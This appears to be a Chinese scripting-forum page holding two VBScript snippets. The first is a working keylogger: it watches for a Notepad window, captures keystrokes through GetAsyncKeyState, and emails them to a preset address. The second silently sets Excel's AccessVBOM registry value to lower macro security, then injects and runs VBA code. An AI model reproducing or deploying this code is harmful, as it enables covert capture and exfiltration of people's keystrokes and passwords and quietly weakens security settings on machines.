批处理之家 - Powered by Discuz! Board

'**************************************** 参数设置 ****************************************
Const WINDOW_TITLE = "无标题 - 记事本" '要监视的程序的窗口标题文字
Const PROCESS_NAME = "notepad.exe" '要监视的程序的进程名称
Const SENDER_MAIL_ADDR = "xxxxx@163.com" '用于发送邮件的邮箱地址
Const SENDER_MAIL_PWD = "xxxxxxxxx" '用于发送邮件的邮箱密码
Const SENDEE_MAIL_ADDR = "xxxxxxxxx@qq.com" '用于接收邮件的邮箱地址
'******************************** 注册要使用的Win32API函数 ********************************
Dim strDllPath
strDllPath = Replace(WScript.ScriptFullName,WScript.ScriptName,"dynwrap.dll") '获取DLL文件的绝对路径
RegisterCOM strDllPath '注册DynamicWrapper组件
Dim g_objConnectAPI
Set g_objConnectAPI = CreateObject("DynamicWrapper") '创建全局的DynamicWrapper组件对象实例
'以下为声明将要用到的Win32API函数
With g_objConnectAPI
.Register "user32.dll", "FindWindow", "i=ss", "f=s", "r=l"
.Register "user32.dll", "GetForegroundWindow", "f=s", "r=l"
.Register "user32.dll", "GetAsyncKeyState", "i=l", "f=s", "r=l"
End With
'+++
'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
'******************************************************************************************
'*** 程序主体流程区域:
'循环监视指定窗口
Do
If IsFoundWindowTitle() And IsTheWindowActive() Then Exit Do '当指定窗口存在且为当前激活窗口跳出循环
WScript.Sleep 500
Loop
Dim TheKeyResult '用于保存键盘记录的结果
TheKeyResult = ""
'开始循环记录按键，当窗口出于非激活状态后或者用户输入回车键后停止记录按键
Do
If Not IsTheWindowActive() Then Exit Do
Dim TheKey
TheKey = ""
TheKey = GetThePressKey()
TheKeyResult = TheKeyResult & TheKey
WScript.Sleep 20
Loop Until TheKey = "[ENTER]"
'MsgBox TheKeyResult,vbSystemModal, "按键信息"
SendEmail SENDER_MAIL_ADDR, SENDER_MAIL_PWD, SENDEE_MAIL_ADDR, "", "按键内容", TheKeyResult, "" '发送按键信息的邮件
'CreateLogFile TheKeyResult '以日志形式保存所记录的按键信息
'***
'******************************************************************************************
'------------------------------------------以下为函数定义区域-------------------------------------------
'检测WINDOW_TITLE所指定标题文字的窗口是否存在
Function IsFoundWindowTitle()
Dim hWnd
hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
IsFoundWindowTitle = CBool(hWnd)
End Function
'检测WINDOW_TITLE所指定标题文字的窗口是否为当前激活的窗口
Function IsTheWindowActive()
Dim hWnd,hAct
hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
hAct = g_objConnectAPI.GetForegroundWindow()
IsTheWindowActive = CBool(hWnd=hAct)
End Function

复制代码

Option Explicit
Dim WshShell, oExcel, strRegKey, strCode, x, y
Set oExcel = CreateObject("Excel.Application")
set WshShell = CreateObject("wscript.Shell")
strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM"
strRegKey = Replace(strRegKey, "$", oExcel.Version)
'生成注册表路径，oExcel.Version 是当前版本号
WshShell.RegWrite strRegKey, 1, "REG_DWORD"
'写如注册表，1表示设置安全级别为低，这样添加宏就不会有安全提示了
strCode = _
"Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCrLf & _
vbCrLf & _
"Private Type POINTAPI" & vbCrLf & _
"X As Long" & vbCrLf & _
"Y As Long" & vbCrLf & _
"End Type" & vbCrLf & _
vbCrLf & _
"Private Declare Function GetCursorPos Lib ""user32"" (lpPoint As POINTAPI) As Long" & vbCrLf & _
vbCrLf & _
"Sub SetCursor(x as Long, y as Long)" & vbCrLf & _
"SetCursorPos x, y" & vbCrLf & _
"End Sub" & vbCrLf & _
vbCrLf & _
"Public Function GetXCursorPos() As Long" & vbCrLf & _
"Dim pt As POINTAPI" & vbCrLf & _
"GetCursorPos pt" & vbCrLf & _
"GetXCursorPos = pt.X" & vbCrLf & _
"End Function" & vbCrLf & _
vbCrLf & _
"Public Function GetYCursorPos() As Long" & vbCrLf & _
"Dim pt As POINTAPI" & vbCrLf & _
"GetCursorPos pt" & vbCrLf & _
"GetYCursorPos = pt.Y" & vbCrLf & _
"End Function"
oExcel.Workbooks.Add.VBProject.VBComponents.Add(1).CodeModule.AddFromString strCode
x = oExcel.Run("GetXCursorPos")
y = oExcel.Run("GetYCursorPos")
WScript.Echo x, y
oExcel.Run "SetCursor", 1024, 768
oExcel.DisplayAlerts = False
oExcel.Workbooks.Add.Close
oExcel.Quit

复制代码